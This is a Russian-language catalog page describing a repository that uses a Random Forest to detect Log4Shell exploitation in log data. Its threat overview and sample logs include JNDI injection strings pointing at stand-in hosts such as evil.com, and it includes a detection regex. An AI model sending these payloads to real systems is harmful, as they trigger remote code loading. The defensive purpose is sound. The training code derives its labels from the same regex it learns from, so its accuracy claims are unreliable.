Каталог инструментов
Категории
Log4Shell-vulnerability-CVE-2021-44228- — В данном репозитории представлен углублённый анализ уязвимости Log4Shell (CVE-2021-44228) и реализован подход на основе машинного обучения для обнаружения попыток эксплуатации в лог-данных. | Kitploit
Инструменты / GitHub / yadavmukesh / log4shell-vulnerability-cve-2021-44228- yadavmukesh/log4shell-vulnerability-cve-2021-44228-
Log4Shell-vulnerability-CVE-2021-44228- В данном репозитории представлен углублённый анализ уязвимости Log4Shell (CVE-2021-44228) и реализован подход на основе машинного обучения для обнаружения попыток эксплуатации в лог-данных.
Откройте для себя самые используемые инструменты нашего сообщества.
7 дней 30 дней
Обнаружение угроз Log4Shell (CVE-2021-44228)
Обзор
Этот репозиторий предоставляет углубленный анализ и реализацию системы обнаружения угроз Log4Shell (CVE-2021-44228) на основе машинного обучения . Он включает:
Понимание Log4Shell : что это такое и чем опасноСбор набора данных : источники и шаги предобработкиИнженерия признаков : извлечение вредоносных шаблонов на основе JNDIОбучение модели машинного обучения : обнаружение на основе Random ForestРезультаты и анализ : метрики производительности и графики оценкиЗаключение и дальнейшая работа
Обзор угрозы - Log4Shell (CVE-2021-44228)
Уязвимость: удаленное выполнение кода (RCE) в Apache Log4j 2Пример эксплуатации:
${jndi:ldap://malicious-server.com/exploit}
Влияние: позволяет атакующим получить полный контроль над затронутыми системамиСмягчение: обновить Log4j до исправленных версий (2.17.0 или новее) и применить правила брандмауэра
Структура репозитория
📂 Log4Shell-Threat-Detection
│── 📄 README.md
│── 📂 datasets
│ ├── log4shell_logs.csv (50 MB)
│ ├── benign_logs.csv (30 MB)
│── 📂 scripts
│ ├── feature_extraction.py
│ ├── log_preprocessing.py
│ ├── model_training.py
│ ├── model_evaluation.py
│── 📂 results
│ ├── log4shell_model.pkl
│ ├── evaluation_metrics.json
│ ├── detection_results.csv
│ ├── graphs/
│── 📂 reports
│ ├── Log4Shell_Threat_Detection_Report.pdf
│── 📂 resources
│ ├── references.txt
│── 📄 requirements.txt
│── 📄 LICENSE
Сбор данных и источники
Используемые наборы данных:
Описание набора данных
Общий размер набора: 80 МБОбучающие данные: 70% (56 МБ)Тестовые данные: 30% (24 МБ)Всего записей: 1,000,000Вредоносные записи: 300,000Безвредные записи: 700,000
Пример набора данных логов (log4shell_logs.csv) Время Исходный IP IP назначения Запрос Код состояния User-Agent Сообщение лога 2023-02-01 12:10:25 192.168.1.5 45.33.32.156 GET /api/login 200 curl/7.64 ${jndi:ldap://malicious.com/exploit} 2023-02-01 12:11:10 172.16.10.3 132.154.23.1 POST /data 500 Java/1.8.0 Обычное сообщение лога 2023-02-01 12:12:45 10.10.10.5 203.0.113.7 GET /search 403 Mozilla/5.0 ${jndi:dns://evil.com/exploit}
Инженерия признаков
Нормализация логов : преобразование временных меток, извлечение полейИзвлечение признаков на основе регулярных выражений : определение шаблонов jndi, ldap, rmi и dnsВекторизация текста : преобразование признаков на основе TF-IDF
Модель машинного обучения для обнаружения угроз
Алгоритм: классификатор Random ForestМетрики оценки: точность (Accuracy), прецизионность (Precision), полнота (Recall), F1-мера (F1-score)
Код Python для обучения модели import pandas as pd
import re
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestClassifier
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics import classification_report
# Load dataset
df = pd.read_csv("datasets/log4shell_logs.csv")
# Feature Engineering - Extracting JNDI patterns
df["log_contains_jndi"] = df["Log Message"].apply(lambda x: 1 if re.search(r'\$\{jndi:', str(x), re.IGNORECASE) else 0)
# Text vectorization
vectorizer = TfidfVectorizer()
X = vectorizer.fit_transform(df["Log Message"])
y = df["log_contains_jndi"]
# Train-test split
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42)
# Train model
clf = RandomForestClassifier(n_estimators=100, random_state=42)
clf.fit(X_train, y_train)
# Predictions
y_pred = clf.predict(X_test)
# Model Evaluation
print(classification_report(y_test, y_pred))
Результаты и анализ производительности
Результаты тестирования:
Прецизионность: 98%Полнота: 95%F1-мера: 96%Доля ложных срабатываний: 3%
Сравнение с существующими работами:
Традиционные системы SIEM, основанные на правилах, имеют 80-85% точности .
Наш подход на основе машинного обучения достигает 96% точности , значительно улучшая показатели обнаружения.
По сравнению с методами глубокого обучения , наша модель Random Forest быстрее и интерпретируема , достигая при этом аналогичной точности.
Кривая точность-полнота (Precision-Recall)
Матрица ошибок (Confusion Matrix)
Заключение и дальнейшая работа
Заключение:
Модель Random Forest эффективно обнаруживает угрозы Log4Shell с высокой точностью.Извлечение признаков с использованием распознавания шаблонов JNDI повышает точность.
Реальные логи могут содержать попытки обхода, что требует дополнительной настройки.
Дальнейшая работа:
Реализовать глубокое обучение (модели LSTM, Transformer) для обнаружения аномалий.
Интегрировать конвейеры обработки логов в реальном времени (например, ELK stack, Apache Kafka).
Расширить обнаружение на другие CVE-уязвимости на основе логов .
Как использовать
Клонируйте репозиторий:
git clone https://github.com/yourgithub/Log4Shell-Threat-Detection.git
cd Log4Shell-Threat-Detection
Установите зависимости:
pip install -r requirements.txt
Запустите скрипт обучения модели:
python scripts/model_training.py
Проанализируйте результаты обнаружения в папке results/.
